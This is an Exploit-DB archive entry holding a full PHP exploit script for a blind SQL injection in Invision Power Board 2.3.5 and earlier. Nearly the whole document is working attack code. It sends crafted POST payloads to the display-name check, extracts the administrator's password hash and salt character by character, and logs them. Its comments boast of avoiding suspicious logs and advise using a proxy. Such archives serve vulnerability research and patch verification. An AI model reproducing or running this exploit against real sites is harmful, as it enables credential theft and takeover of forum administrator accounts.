Invision Power Board <= 2.3.5 - Remote SQL Injection Exploit

2008-09-21T00:00:00
ID EDB-ID:6507
Type exploitdb
Reporter waraxe
Modified 2008-09-21T00:00:00

Description

Invision Power Board <= 2.3.5 Remote SQL Injection Exploit. Webapps exploit for php platform

                                        
                                            &lt;?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB &lt;= 2.3.5 sql injection exploit
// Version 1.0
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 20. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html 
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/ipb.2.3.5/';
$id = 1;// ID of the target user, default value "1" is admin's ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
	if(!isset($_REQUEST['wtf-is-cli']))
	{ 
		echo "&lt;html&gt;&lt;head&gt;&lt;title&gt;Attention!&lt;/title&gt;&lt;/head&gt;\n";
		echo "&lt;body&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;\n";
		echo "&lt;h1&gt;Warning!&lt;/h1&gt;\n";
		echo "This exploit is meant to be used as php CLI script!&lt;br /&gt;\n";
		echo "More information:&lt;br /&gt;\n";
		echo "&lt;a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\"&gt;http://www.google.com/search?hl=en&q=php+cli+windows&lt;/a&gt;&lt;br /&gt;\n";
		echo "Still, you can try to run it from webserver.&lt;br /&gt;\n";
		echo "Just press the button below and prepare for long waiting&lt;br /&gt;\n";
		echo "And learn to use php CLI next time, please ...&lt;br /&gt;\n";
		echo "&lt;form method=\"get\"&gt;\n";
		echo "&lt;input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\"&gt;\n";
		echo "&lt;/form&gt;\n";
		echo "&lt;/center&gt;&lt;/body&gt;&lt;/html&gt;\n";
		exit;
	}
	else
	{
		// Let's try to maximize our chances without CLI
		@set_time_limit(0);
	}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
xecho("Testing target ID ... \n");
test_target_id();
xecho("Target ID seems to be valid\n");

$hash = get_hash();
$salt = get_salt();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");
add_line("Salt: $salt");
add_line("------------------------------------------");

xecho("\n------------------------------------------\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");

xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
	global $url;
	
	$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
	$buff = trim(make_post($url, $post, '', $url));
	if($buff !== 'found')
	{
		die('Invalid response, target URL not valid? Exiting ...');
	}
}
//////////////////////////////////////////////////////////////////////
function test_target_id()
{
	global $url, $prefix, $id;
	
	$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
	if(!test_condition($post))
	{
		die('Invalid response, target ID not valid? Exiting ...');
	}
}
///////////////////////////////////////////////////////////////////////
function get_salt()
{
	$len = 5;
	$out = '';
	
	xecho("Finding salt ...\n");
	
	for($i = 1; $i &lt; $len + 1; $i ++)
	{
		$ch = get_saltchar($i);
		xecho("Got pos $i --&gt; $ch\n");
		$out .= "$ch";
		xecho("Current salt: $out \n");
	}
	
	xecho("\nFinal salt: $out\n\n");
	
	return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos)
{
	global $prefix, $id;

	$char = '';
	$min = 32;
	$max = 128;
	$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
	$curr = 0;
	
	while(1)
	{
		$area = $max - $min;
		if($area &lt; 2 )
		{
			$post = $pattern . "=$max";
			$eq = test_condition($post);
			
			if($eq)
			{
				$char = chr($max);
			}
			else
			{
				$char = chr($min);
			}
			
			break;
		}
		
		$half = intval(floor($area / 2));
		$curr = $min + $half;
		
		$post = $pattern . '%253e' . $curr;
		
		$bigger = test_condition($post);
		
		if($bigger)
		{
			$min = $curr;
		}
		else
		{
			$max = $curr;
		}

		xecho("Current test: $curr-$max-$min\n");
	}
	
	return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash()
{
	$len = 32;
	$out = '';
	
	xecho("Finding hash ...\n");
	
	for($i = 1; $i &lt; $len + 1; $i ++)
	{
		$ch = get_hashchar($i);
		xecho("Got pos $i --&gt; $ch\n");
		$out .= "$ch";
		xecho("Current hash: $out \n");
	}
	
	xecho("\nFinal hash: $out\n\n");
	
	return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos)
{
	global $prefix, $id;

	$char = '';
	$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";

	// First let's determine, if it's number or letter
	$post = $pattern . '%253e57';
	$letter = test_condition($post);
	
	if($letter)
	{
		$min = 97;
		$max = 102;
		xecho("Char to find is [a-f]\n");
	}
	else
	{
		$min = 48;
		$max = 57;
		xecho("Char to find is [0-9]\n");
	}

	$curr = 0;
	
	while(1)
	{
		$area = $max - $min;
		if($area &lt; 2 )
		{
			$post = $pattern . "=$max";
			$eq = test_condition($post);
			
			if($eq)
			{
				$char = chr($max);
			}
			else
			{
				$char = chr($min);
			}
			
			break;
		}
		
		$half = intval(floor($area / 2));
		$curr = $min + $half;
		
		$post = $pattern . '%253e' . $curr;
		
		$bigger = test_condition($post);
		
		if($bigger)
		{
			$min = $curr;
		}
		else
		{
			$max = $curr;
		}

		xecho("Current test: $curr-$max-$min\n");
	}
	
	return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
	global $url;
	
	$bret = false;
	$maxtry = 10;
	$try = 1;
		
	$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
	$post = sprintf($pattern, $p);
	
	while(1)
	{
		$buff = trim(make_post($url, $post, '', $url));

		if($buff === 'found')
		{
			$bret = true;
			break;
		}
		elseif($buff === 'notfound')
		{
			break;
		}
		elseif(strpos($buff, '&lt;title&gt;IPS Driver Error&lt;/title&gt;') !== false)
		{
			die("Sql error! Wrong prefix?\nExiting ... ");
		}
		else
		{
			xecho("test_condition() - try $try - invalid return value ...\n");
			$try ++;
			if($try &gt; $maxtry)
			{
				die("Too many tries - exiting ...\n");
			}
			else
			{
				xecho("Trying again - try $try ...\n");
			}
		}
	}
	
	return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
	$ch = curl_init();
	$timeout = 120;
	curl_setopt ($ch, CURLOPT_URL, $url);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_POST, 1); 
	curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
	
	if(!empty($GLOBALS['proxy_ip_port']))
	{
		curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
		
		if(!empty($GLOBALS['proxy_user_password']))
		{
			curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']); 
		}
	}
	
	if(!empty($cookie))
	{
		curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
	}
 
	if(!empty($referer))
	{
		curl_setopt ($ch, CURLOPT_REFERER, $referer);
	}

	if($headers === TRUE)
	{
		curl_setopt ($ch, CURLOPT_HEADER, TRUE);
	}
	else
	{
		curl_setopt ($ch, CURLOPT_HEADER, FALSE);
	}

	$fc = curl_exec($ch);
	curl_close($ch);
	
	return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
	global $outfile;
	
	$line .= "\n";
	$fh = fopen($outfile, 'ab');
	fwrite($fh, $line);
	fclose($fh);
	
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
	if($GLOBALS['cli'])
	{
		echo "$line";
	}
	else
	{
		$line = nl2br(htmlspecialchars($line));
		echo "$line";
	}
}
//////////////////////////////////////////////////////////////////////
?&gt;

# milw0rm.com [2008-09-21]